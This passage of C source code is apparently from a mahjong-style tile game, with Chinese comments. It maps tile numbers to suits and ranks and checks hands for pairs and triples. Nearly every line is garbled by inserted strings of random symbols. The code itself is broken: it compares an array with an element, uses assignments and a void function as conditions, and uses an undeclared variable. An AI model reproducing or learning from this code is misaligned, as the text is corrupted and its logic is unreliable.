else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
" X5 T- R& H, H% L5 e" O5 {$ N) llogoo=2;
/ U( K+ a( u& B- t0 T  k0 \( [. kelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)! E- O3 `( K: ^5 e9 h
logoo=3;
9 E) K3 h2 @* x+ |else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
+ r3 D  Y- i! z, l( e% ulogoo=4;% w$ D7 `6 g# g4 i0 M
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
+ A) L& n# y2 Y6 E) Zlogoo=5;" N. ^6 N$ K: J7 p* `
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56): s+ b$ U, V1 F2 B- w
logoo=6;0 `' `( `+ a- \7 N" L& K
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60). _5 J' b% b! G7 D0 R  Y
logoo=7;( u! X( z- E! m0 U1 }9 g
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
2 ]7 x- e' B, v: Tlogoo=8;" ]9 V% Z& @/ W; R1 w
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
3 v) U# f' m/ Dlogoo=9;/ s0 K" a# c" a/ Y5 C- w8 A
}
7 `+ B5 f6 z$ |: a$ @7 o" N# J1 P" Velse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)) _$ N5 W" n* J' s
{
) ~+ ~2 `, S: I6 ~: l) W: S' xlogo=3;
+ r: N. z2 n: v0 l% hif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
  k9 E: @. `( L! I8 B) i9 V  m, Alogoo=1;
4 p- B0 B0 H/ @. J4 K* relse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
+ G: z9 Y0 F- t! Zlogoo=2;! y# r0 J$ f+ Y! }; n" p
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80): o# S8 r  f7 y1 r
logoo=3;% l: z. B6 w8 p
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
! n. u* |& F) P$ v' T' s' y; V- x# _7 Ilogoo=4;) v* Y7 p* L# Y) r
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)! L: [( n1 ~& Z" c
logoo=5;2 b5 R! S4 ^' D+ X; z
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)) s8 S0 v. M$ Q" p& v
logoo=6;
: g* B" N$ D# Selse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
" P9 p9 u  V8 u9 Jlogoo=7;: r' a# W4 c" u( K: ?
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
! J$ Z5 O4 R5 e/ B2 X& w$ Y0 clogoo=8;# b# b9 ]% q( D/ K, r8 }6 F
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
8 ~- P( i, V7 U3 r0 i4 I5 ~3 zlogoo=9;
1 y. t3 H1 u: c3 O9 [" D}
/ i4 C5 D9 X, O# L6 `/ Qelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
% d) H0 w) e4 b7 x' \{* U' l7 \# S/ `( z% G
logo=4;- Q' ]+ i, F5 }/ O, y4 H1 j/ z* h& h
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
+ c- m% d  L7 T2 e' q( q2 Ulogoo=1;
2 V, r/ c# E- E/ R+ Z9 ]7 Nelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
4 ~7 L0 d9 X, W) Xlogoo=2;
5 o. U9 i9 E. G9 ~) M4 welse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
  U) x0 p; i# H* {8 V: K& ulogoo=3;4 @" v% {" j* _" i% N( p+ n: N
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)( l# Y7 l) E9 T3 u, P" g* h
logoo=4;8 K8 z8 s7 g. m: {
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)" `: F& n, G  L8 [% I, {( d* v
logoo=5;6 K( V5 \/ ~5 T6 `( ^  b
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)7 M6 U  T- T) B
logoo=6;
7 q- i5 D/ P  @else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)0 y' U) P6 \+ g2 a$ Y; s7 A$ c0 R
logoo=7;
3 O" h  l7 {$ m8 \+ g/ }}
; a- P& ]2 r1 p* |while(b&lt;=me.m)
% e' K2 y1 J( G1 X. U+ q0 T{9 a. `/ p% H$ s
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/- |: v* k" Z6 @2 i7 w$ B% _) F0 @. f
{; u3 |/ |) z: d7 d' D) a' [
lg=1;0 H7 \5 l* I% @% Q# o$ C- r
me.pp.d[0]=1;- h5 c) O. l6 o6 D
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
# R$ ]; A2 A; j5 j$ n9 l9 Z{5 Z  T9 y, R0 M1 q' L: o$ l! ]
lgg=1;2 j6 i( X& N' ^: u1 q5 @7 \
me.pp.d[1]=1;
; @5 A; u- j4 O7 g7 O; S}
9 r/ i0 }) x, Q" e- s, telse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
  Q8 B# b& C7 l0 E{  m- I3 z& s: x" B. b
lgg=2;' L+ B& }6 Q5 w, H- ?
me.pp.d[1]=2;' M5 Q1 H) K# g+ ]7 S1 D
}
) |+ q# c4 b0 V& Xelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)5 d- D( {8 _" q4 {1 r+ Q3 M+ ?
{$ ]! e: x8 z% o* k5 ]) e- J2 R
lgg=3;9 l3 E4 V* l5 ]# @6 H& r9 H
me.pp.d[1]=3;) Z9 v- Z* w2 K# p
}
/ `; J& l" ^3 e2 C1 Xelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)2 t& V0 B5 n) q
{
  u) X+ \/ G2 Nlgg=4;
+ ^5 E% z8 r6 p0 E3 X, f' Ome.pp.d[1]=4;) `+ H" L* ?8 `5 _0 i0 n+ D) K
}
! i1 _1 U7 n: D% xelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
5 Z: l1 x  X* f# q{9 G" c; x: B$ }
lgg=5;% \3 D$ N2 [4 ~" k2 H2 P
me.pp.d[1]=5;
9 v* K; ^$ o  g( L( V' i, J}
! w) Y( o* V7 C( {2 Velse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
4 f' [' y; d" f9 ?+ Z+ C' Z' S4 T{
8 ]' j+ n  j0 R5 P6 H7 p5 f% ilgg=6;
- ^  ~( D& E9 Z4 [, Tme.pp.d[1]=6;
, D! _! M- u5 s3 q  P  W}" G* V9 x7 }" o
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
0 W3 c5 w' d3 M{
' u# y( N2 v3 f3 b6 {lgg=7;
) k& G& r0 f2 Y. B6 m2 l* a2 {7 x3 Yme.pp.d[1]=7;
( O0 q2 N& \" J" F6 I3 q}/ n  `3 s) Q; @5 h) ]
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
* b1 y% I% ?8 q{1 f( T9 n$ O6 o( A
lgg=8;
+ q: g* ?& A- E& q# G) G; H' Vme.pp.d[1]=8;+ q) o2 B1 s0 k: e% \: i! e
}8 h) D/ p! _3 i* ?6 H: l
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)0 [8 ?* @( H( ~7 w& a; k
{- @- t- W5 N0 ?* {7 ^# R
lgg=9;
( Q/ J' s) @6 t" z0 x* s: gme.pp.d[1]=9;0 J# N5 c1 }7 _* V  S
}
$ R. f& S# u+ g0 T" N}8 X, w2 c  E) F1 P/ C
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
% I* r* Y+ E) b% J$ c' ?{& q( w4 ^3 V3 \5 B8 N) [7 X% d
lg=2;
" X+ ~# S! v. Y; a; yme.pp.d[0]=2;
2 {* [  p2 t* \& W( [& vif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
# X/ n% v7 d1 K7 G  B{% S1 r8 C# ]6 P1 A1 g8 E8 }
lgg=1;, [$ c1 z8 t1 S- t1 S8 c  Q& w
me.pp.d[1]=1;
. Y0 b# g1 V9 K) z}! N; ]' \7 u2 A# ^8 M- m; x! v
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
: B, F% Y, j3 l3 @* Y4 L{8 o% d" p+ C0 r, T6 N0 P8 b: Z4 l
lgg=2;
% L: g& \' `+ ?- z; J6 B6 ^me.pp.d[1]=2;+ Q+ R: e  U  {: @5 I5 b9 I9 N! i
}) N- S5 |. B2 t5 _- ?
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
! r5 a, v: b$ p# p2 F{) |- W9 b8 ^; |" X
lgg=3;
6 S$ V/ O0 p! y7 ~' nme.pp.d[1]=3;9 ?& |9 M$ B( g& z: O% }: n$ f
}
- Z6 x5 s. N( D- [9 M; X4 Belse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
$ w+ W& R% ]3 {2 m  H{
6 `" Q  M; l) [; g6 \lgg=4;$ ?) V% X5 n3 e/ \* ^
me.pp.d[1]=4;
5 i. {2 w) u2 F3 b/ L}4 V( g+ G0 z% b  L+ C1 ?) r
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
3 I1 v4 E1 v& g% B1 N5 X6 b{
; A/ e/ [1 d& E3 s- j2 Q6 f5 `lgg=5;2 Q& P& t# l, j
me.pp.d[1]=5;
% g5 n: c4 A/ `0 D& }}5 @4 o0 z+ S0 R9 }" ?
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
9 D4 r9 W) `' K1 A{
7 ?/ t( a; u* P. nlgg=6;
. M. d2 B9 p+ g2 q9 Y& y4 N' Eme.pp.d[1]=6;* D; J/ |' G, x0 @/ @4 x
}
% E3 E% z( t5 ^9 `" n# B  oelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60), I+ X: V+ E* @
{9 O1 [8 r3 ?5 G) [
lgg=7;- [& ]0 b% \6 J9 ^$ |. J, _
me.pp.d[1]=7;
5 a3 v- \5 H. D" h}& i6 J* u; E2 l, y" z- H/ i
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
. `2 M+ t, ^. ]* R{
; S$ {+ W9 g% v2 J% e- Jlgg=8;  C9 J! O$ B* f0 t% @7 c
me.pp.d[1]=8;8 z0 G& x/ S; i% }: w' @0 w
}  v* `- W1 a5 d0 F
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)% D7 D/ I2 Q& f3 E5 f# _7 D
{8 `; b5 v: H; k8 d- e
lgg=9;
! q, E3 L/ S" vme.pp.d[1]=9;
9 Z# d& F* G7 }}
( k% I. ]6 z8 A, }}( p1 z4 Q- [! E0 U$ H0 G
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72): O7 n. ^" P% g! v6 ]
{
$ `% E& u  M& l8 l/ \7 I/ Vlg=3;! Z2 T, V$ U4 b' F0 t
me.pp.d[0]=3;
! e' |( Y- E- qif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
' K; G) L! f' C{6 ^; d/ g( X  i& l; i& ]
lgg=1;
  ]' \, b9 f! I5 z& ime.pp.d[1]=1;
2 J3 S, V3 u6 ?/ B4 a/ }+ H}& z1 v$ s6 |8 b; p) k
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)8 R; |/ z8 ~3 @. [
{
  u: n$ Z. f; |; d) D8 c8 plgg=2;; R& o* Z) u8 r7 k) k
me.pp.d[1]=2;) [3 F! ]1 B5 k6 J' K
}
5 X0 Z% p5 I; R" U3 U5 E9 Oelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
. E" \- z( b6 H8 M" g{
& h7 q% `4 A! @9 d8 nlgg=3;: Q3 A3 O! U2 b% J. S
me.pp.d[1]=3;
$ e4 B5 c: y9 X2 w6 z' C}% F: g" c! }. W1 G
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84); F9 v* y9 n& X
{/ U$ L: [1 b% q) y+ ~. Z
lgg=4;
; l9 [' m5 ^, c) I+ T) G2 `me.pp.d[1]=4;# r- `3 h, L! V# n
}5 n, K& P- a/ s( y+ T, O8 ~" c0 }
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)4 T  i9 a* i1 C2 E- L
{- |3 ~1 |3 d8 D# x9 I) q* j  T
lgg=5;3 D" {' }, d) {; P6 D, L
me.pp.d[1]=5;
2 P7 H. P1 C3 L0 T}
' ^# h2 _5 K( S9 H( j+ ?9 |else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)' {+ r" h% B( b) u
{4 }# C( X& u9 y2 Z. T% b' g
lgg=6;* B9 S8 Z3 X+ v
me.pp.d[1]=6;/ d( ~4 L& Q) T: Y
}
! K: q, ?& K" Z3 c; R' Y6 {) A+ qelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
) Y) m$ R- e% w% }{; {: ~3 w  z  [1 K
lgg=7;% Q+ k+ \6 v8 ^" ]/ t+ [. w' j
me.pp.d[1]=7;
, k9 z3 I+ Q1 n) ], p) D! Q, l1 w  V}
) f2 Y7 l! M/ h7 D5 x- ~else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)# F4 J8 ^' s! ]. Q+ }# o9 V* a
{
5 C$ I) a' [$ [; J/ X# y! k; `8 N/ L7 Clgg=8;
2 V. Q; {1 _& g/ ^; u0 sme.pp.d[1]=8;- K# U  v2 M! l! B2 S* E! p: c
}
% k6 M! X6 Z! x5 K1 q5 celse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)4 ?/ y" K/ Y: D* o% g2 F
{0 f! ^6 U2 S+ ]8 ?$ @+ J" D9 E! q/ g
lgg=9;
! s5 m4 e9 H8 o+ w; v* }4 O, h( eme.pp.d[1]=9;
( z% T9 o; Y8 O1 h$ q' K, d4 ^9 e}
* r# k6 p* h& }}% c) D7 ]8 [) p/ g1 [; L5 N8 m/ [' D
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
2 o0 ^  b1 K. c{
5 O: Y3 E, Q  {# ]7 m* L6 s3 vlg=4;3 z2 u4 i) R8 V- J. i' P
me.pp.d[0]=4;
0 k# F9 i& B5 F! P) d, x5 Qif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
3 h' T- B% T7 X& e7 H3 E# T{) C# Z, g$ Q6 G3 I3 h
lgg=1;2 ?. l; N, W/ h
me.pp.d[1]=1;$ P7 R+ Z  O" ?3 L% M
}
% o. L. |* k1 relse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
' P' @* `2 p' W2 |{
  n/ J. C. z& c1 [lgg=2;
. w* c  r3 `! `  K4 Pme.pp.d[1]=2;
  c' ]( C2 ]6 Z; n! P- I}
0 q. n7 I7 ~. E1 z7 B2 Welse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)  {5 C/ M3 {4 X2 b3 w
{! m1 p, c/ S; M; s" N2 ^
lgg=3;- ~" n. N! Y9 \/ D
me.pp.d[1]=3;0 z3 r- \- u; E' J8 N0 ?7 {( h' ^+ p
}
' l4 U- F" N" N# S$ Helse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)( Z; b0 ^! o% v! z; z% ~
{
6 }- X& X8 ^& J7 V1 q* C# b# xlgg=4;( @: d2 p$ F6 F0 \
me.pp.d[1]=4;# t& `* ]! p; g, b$ Y+ p
}( c* D+ R, s: L, u7 \% X
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
% n1 [# p: e  ]3 Z7 p( f{8 O: g" j- R+ m1 E  l/ V5 k* `
lgg=5;
* B5 Y; ~9 e- Y" I3 ~' p" B4 gme.pp.d[1]=5;
  `0 x; E, r. x" [  X% D}
# a) M7 o+ ~- C! H& `5 Q" L6 {% Eelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)# B- W  F  f* c" p
{
  e$ o5 \1 s$ S4 ]! K+ Wlgg=6;
- j8 C! Q2 L$ tme.pp.d[1]=6;0 ]- K2 z+ m. f
}
! o+ J* G1 w+ eelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)$ f8 x: m6 J4 y+ j
{  p" n" j; y. f/ x1 u
lgg=7;" i2 [) |1 r  k
me.pp.d[1]=7;' H7 |0 M- G" Q, V( S
}5 y  ?: J$ m1 d. v: m
}
1 d: ^) `- l1 m5 o' F/ _  i}) r$ r# F% q$ v: W* ]! F1 A
}+ [; x8 k+ C2 ?5 d3 I
void istwo(testt)! U* A9 ^$ r3 V. ]. z
int testt[];
" W: @$ H" ]3 b0 t9 |. `, E$ @( c{ if(testt[0]==testt[1])
# `- p( v  N! J! S1 xsecond++;
3 m) S1 E$ z* {8 s- J2 \' u1 n}
4 }. l/ M" B# jvoid isthree(testt,n)
! I7 l0 X& Q/ l7 h6 D# Cint testt[],n=0;
& q! p7 i# Q% [; I  u+ v{ int i,j,flage=0,lianx=0,same=0;9 z& `6 I4 j) r
n=n/3;: Q4 O% V+ C0 p
for(j=0;j&lt;n;j++)
) N4 W1 ^/ a) j6 t0 e{; B- u1 v9 U- v0 A5 C' o, V, V& ~
for(i=j*3;i&lt;2+j*3;i++)9 T+ q# e5 y/ k/ I" m
{0 S  u% \! E6 E% r
if(testt==testt[i+1])
0 u) V& [: G1 a6 {* Osame++;
0 i  Q# Z6 D8 Vif(testt[i+1]-testt==1)  o# A* H, a5 l% X6 U
lianx++;  o% c" m3 Y% h3 [! _
}
/ `) n1 [9 F" X: [+ qif(same==2)
6 N% y5 ], }) W0 L4 S9 _/ L% K: y1 cthrees++;
5 ~( P" i/ E5 q+ @4 s! B4 wif(lianx==2)1 a  j* [4 U( Q
threes++;1 [3 T% b  Q" r1 F
same=0;
7 [! ^% K" @' g4 ]lianx=0;" W9 n  T1 F: c( ~4 L# h, b1 R! [
}5 B: _: [- [4 u
}4 h# ~4 @) h& q1 d- z
void panduan() /*本程序的精髓*/
4 ?$ d1 }. x" P& G6 d{int data[14];
. ]% r5 E2 `! f$ B3 u: D; G- ^/ oint pw[14];
& ^. o3 I9 H7 [. A: Wint pt[14];
+ ~% Q1 x) S9 Z# Q$ l# gint pi[14];4 h. v( E% w  `
int pf[14];' E+ ~1 M0 j: L% |# U, r9 e$ _) ]
int test[12];
% V- |( {2 J) c& j# Wint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;, W0 D8 T/ h* M, r  h1 E' I
for(jj=0;jj&lt;=me.m;jj++)* D( v( |% o0 h8 ~+ o
{2 W4 g( |1 n- N! @# g- P
if(me.pp[jj].d[0]==1). o7 N7 u' h1 B- \2 r) x# j  Q: y
data[jj]=me.pp[jj].d[1];
7 s. V: c; z5 v& t5 Aif(me.pp[jj].d[0]==2)& w& w% ^0 y4 i5 m: y( C6 M, t
data[jj]=me.pp[jj].d[1]+10;3 t- o  C+ `+ m6 c
if(me.pp[jj].d[0]==3)
- d' I9 E& d5 z$ `* ^/ zdata[jj]=me.pp[jj].d[1]+20;! N$ ?. t; b1 v" g
if(me.pp[jj].d[0]==4)8 P* M; b# Q: G! E9 |5 o7 g
data[jj]=me.pp[jj].d[1]+30;
' b3 `4 q( c2 V5 Y, z" j}
' Y' I4 Z# J9 _6 l  s& J5 w! bif(logo==2)
! r4 I0 `9 C& [' dw=logoo+10;
+ ~' i4 ]" i( I' }) h" Lif(logo==3): r" G  q# v) l* x$ S( V/ }& |
w=logoo+20;9 q5 l" d0 F. i  M1 c# B
if(logo==4)# e6 x+ F. n' {3 R0 @' Y, B
w=logoo+30;# A& T$ v; Y$ z, x- U
data[computer.m+1]=w;
- S9 i* _9 N7 B% \. {5 {for(mm=0;mm&lt;=computer.m;mm++)
9 {% l/ o( d3 l( @6 i. l' x! Bfor(nn=mm;nn&lt;=computer.m;nn++)
2 P9 b' b3 S# Cif(data[mm]&gt;data[nn+1])
" d' e/ N$ r" K& H9 X1 |" k{& N$ C4 T1 G6 I5 k" ~; y* U
tpp=data[mm];; W" S* p. i1 }- C, x" j
data[mm]=data[nn+1];& ^# F4 e, i5 j1 W
data[nn+1]=tpp;
1 S+ X$ y- x0 a' O1 `}
: }8 L4 ]' q% z( j( Blp=0;
8 k1 e# Q& h1 f  Ywhile(lp&lt;=computer.m)  p* g" m# p/ z& g- i
{ if(data[lp]&lt;10)& b+ T# W% }4 o) `5 [- F% V
pw[ww++]=data[lp];5 y1 E' O( n# R" g
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
1 T8 ?; p, o* y' }) j5 }; Vpt[tt++]=data[lp];: O! B7 A: w+ {+ U% N
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30); Y8 e0 o5 M/ N- I; a' M* g) F
pi[ii++]=data[lp];! Y" z: K0 C2 V2 @* l8 k
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
2 f; e( a: {# V! d+ }9 r# Ypf[ff++]=data[lp];2 ?/ C* U) p3 s/ R
lp++;0 U* {. T" r% i/ ~- b
}6 w; i7 ?0 t. K+ e
if(ww==2)! C/ R6 _  x% s1 d) p9 J$ ]6 `1 O
istwo(pw);5 |% f% p0 n0 Y( c! P  C
else if(ww==3)
- e* Q, r, `8 B3 T" Z8 i' e% oisthree(pw,ww);1 \6 a5 u. q; F0 P
else if(ww==5)
2 I6 {, B" X- _2 m0 X8 `$ c/*pw[5]原始牌数组,假设已经升序排列*/2 ~! ^' i1 {7 a6 ^* w' P# N$ G
/*test[3]用来放置测试牌的数组*/1 q2 u- F4 N' n, J* X9 L' B4 v
for(i=0;i&lt;4;i++)
! s& D( G, p' t+ }( c) p+ n{
& l) G& Y3 o( W5 P+ X" N( jfor(j=0;j&lt;2;j++)2 o! E* c' Q) A3 s
{test[j]=pw[i+j];
+ X/ U% l. u8 y1 t}
* Y/ u! r( {6 ?% @, U0 pif(istwo(test)), l0 t0 F: }( Y) e
{ ill=0;
  @; s8 ^, f) @1 n0 afor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 o% u& L4 Q, o+ J9 V2 O2 g: Q
{if(kl==i)5 k4 o2 D% {, j. i  ?- J
{
2 k9 c( ]6 e  p$ @+ B; v0 Rkl=kl+2;
0 |3 T7 J; w: A! ^if(kl==5)) A% k: h0 D" F- \, @9 s
break;
- G  u3 ]' s$ H4 M/ U+ K% Q7 l}  V1 @  j- m- D; {8 }5 e
test[ill++]=pw[kl];
: I) p0 F2 i( f( z) P& r}
% N7 w5 @# ?. y+ }isthree(test);
5 l' u2 ~/ ]4 _0 D9 g: O6 n8 S}. p" \! x* h4 p" K# k
}
' M& {7 G6 x  X' v; K9 O, Xelse if(ww==6)8 a5 S2 {. D# W. P3 W# y0 u" e
isthree(pw,ww); ( B: _8 ~9 \3 x0 e9 t" L. M$ X
else if(ww==8)& F9 m3 h, F$ f: j0 i: \
for(i=0;i&lt;7;i++). W+ c1 p, Y4 \0 g& ]  z
{2 x3 x& ?7 {9 ?4 N5 B
for(j=0;j&lt;2;j++). m5 ^+ O& y9 A; k# R) a' [: p
{test[j]=pw[i+j]; - ?: `6 }( Z8 d' Z
}
2 i, j9 u6 j' o* Y! p" Kif(istwo(test))
8 X0 D- _! O  |, B- ?# P{ ill=0;
% P; ^6 V+ H' Ffor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
, {% h/ ^+ K4 o) j{if(kl==i)( @8 J5 H7 G8 K( g" `
{
2 n& l( p7 Y6 W; \" qkl=kl+2;
9 }# \6 Q$ H6 d- Cif(kl==8)
7 g0 u2 q( y9 \) X) xbreak;: [; y8 J" t6 g: n
}% t2 d+ a, y9 W# j! A# v
test[ill++]=pw[kl];7 d1 [3 o: J5 H, C/ I8 T  v
}) I) ]$ Y4 D) j- F
isthree(test,ww-2); $ n; y: C( g# ~. ~. K5 \- Q
}0 y& g8 c% b+ |4 u
} 1 J* U* f& d9 [0 G
else if(ww==9)
3 f# B/ b) h5 n, K: m! ?9 Histhree(pw,ww);
( L, r0 |4 }+ c$ k* @3 C  Gelse if(ww==11), Q. |- O. z$ e* ]/ K
for(i=0;i&lt;10;i++)
  x1 v8 j% V0 O0 B4 V2 A: Y' X{+ S) T% l) c0 A
for(j=0;j&lt;2;j++)( C2 p* Y* R, J- @
{test[j]=pw[i+j];
3 x/ c& o' f. E% @4 ?  w  m}
! J+ ^/ S( b# y# d+ Y4 k' kif(istwo(test)): ]6 f/ f8 k) l" M
{ ill=0;
: G4 R; l5 Y' Y7 t  i& `' Sfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- ^9 H1 G5 z3 T7 H2 E9 h
{if(kl==i)
: Z; b" @5 U! E6 M; |6 L' i3 y# c{' A% r& j; x& z, B) j6 {0 Q
kl=kl+2;
# P/ z$ T- w9 [if(kl==11)3 o2 y1 i4 ^: \7 }/ N) x5 T! _
break;" R+ V" u2 x1 o4 z1 C/ u- W
}
& h/ p8 i& _, _test[ill++]=pw[kl];
4 ]- V, g$ y6 U; @. G}' d2 T! E2 b6 e
isthree(test,ww-2); 7 H" Q: D- h- P8 `
}. A; U8 v" \  A4 I7 h* h. [
} / k9 C; J( z. X( o. e
else if(ww=12)
' [4 L( D; Q3 R) b2 [isthree(pw,ww);
( X/ W2 M# ~- W1 p: n8 J/ Delse if(ww=14)
1 [3 r" b* u2 B, ]+ q0 hfor(i=0;i&lt;13;i++)8 r- m6 }8 v( g/ [& O* q
{
% ~* e, B4 i% Qfor(j=0;j&lt;2;j++)1 |1 m0 Q- j1 K- t2 y
{test[j]=pw[i+j];
% r4 E, B! B& G}$ l% i5 h. d& K! m  v! Z
if(istwo(test))/ S% g+ f& ^3 S4 Y  |; }' X4 m
{ ill=0;" p$ E& [8 a$ t" s
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/2 a% @* Q4 [. p0 b+ E& c
{if(kl==i)( E% m& r8 ?+ d
{* @6 C8 c6 y- b; `1 g+ \8 H( q
kl=kl+2;
  e' ~% a, ?) k9 Hif(kl==14)$ X5 l4 R( |5 ?& i8 y7 i5 `
break;1 y# }  M9 j3 L' G
}
0 I( A# k1 D9 f) N* o! Mtest[ill++]=pw[kl];% Q5 a& H' B/ ]$ Z: P5 L% M. W
}7 d2 g& g& R+ p' N1 K5 ~
isthree(test,ww-2);
2 {9 x5 a8 M; e}$ q6 @+ b" L+ _( G. ^3 k% e8 P
}
1 ]5 _; K: M( w- P7 Jif(tt==2)
6 \5 K) s0 r$ n+ C1 Yistwo(pt);
  ^* ]0 W) `7 b& I: d2 u- \else if(tt==3)& V5 ?7 N- y" m& I7 s. f
isthree(pt,tt);% v/ @; N7 k" {3 p% e8 Y* b3 I
else if(tt==5)" Y# q) S) s7 v4 ?, q$ U
/*pt[5]原始牌数组,假设已经升序排列*/7 {3 P- g/ a# m+ M: O: W% N3 S
/*test[3]用来放置测试牌的数组*/
' _* V4 I: {( G# @9 Zfor(i=0;i&lt;4;i++)0 v) |8 d# I0 S
{
5 A+ u' [" l  |& N+ hfor(j=0;j&lt;2;j++)
; m' n' q( ]. {4 `( X& w{test[j]=pt[i+j];
$ M: f! ^, j3 }3 a: L}
2 t& j( y- c/ J& X- g7 lif(istwo(test))
) f2 ]" S! R* Y% \3 ~{ ill=0;
5 x0 q' S  D& _) r1 ^/ ufor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/& e3 n7 H1 o: P3 V
{if(kl==i)
8 b9 o  G$ u  q# F( |{
$ p/ G9 N( [& W4 Q& skl=kl+2;
, i- c) V, ~6 ]9 {' h( _1 Fif(kl==5)8 G3 M! X; A8 X+ ~0 M3 w* R
break;
% H/ c- Q' u  ~5 Z" D% z}1 H; n  x) b! D/ x# ~: V
test[ill++]=pt[kl];9 x2 }! M! x) F, W: f
}
8 i- z* U& k" p( \$ [+ ?/ n$ oisthree(test);0 M. b2 Y' q4 X( J
}
/ Z& N. s$ h  ?  p* @% X, r}2 s4 R2 c6 |  m6 j# l! O" j5 n
else if(tt==6)+ i0 Q6 C+ ]! Y) q) `* i! y
isthree(pt,tt); / N$ W) s' K3 {0 V: ]  ?- _( _2 \
else if(tt==8)* Z' P' K) T7 g/ i
for(i=0;i&lt;7;i++)
: U0 r; B) x) D, |{- c& k' e8 \4 L) T; q2 W% t, w0 J
for(j=0;j&lt;2;j++)
" L$ Z2 e& ^4 b% u{test[j]=pt[i+j];
; D0 X8 e# Q. A8 ]- {}2 h: M- E: K6 Y. [* ]
if(istwo(test))
; {1 [" d& `% j1 {: ?  }7 w) m6 I4 E{ ill=0;
& `) _1 I! n) g7 M2 k/ y9 Vfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/3 i% |" a& w2 z# y6 C3 _
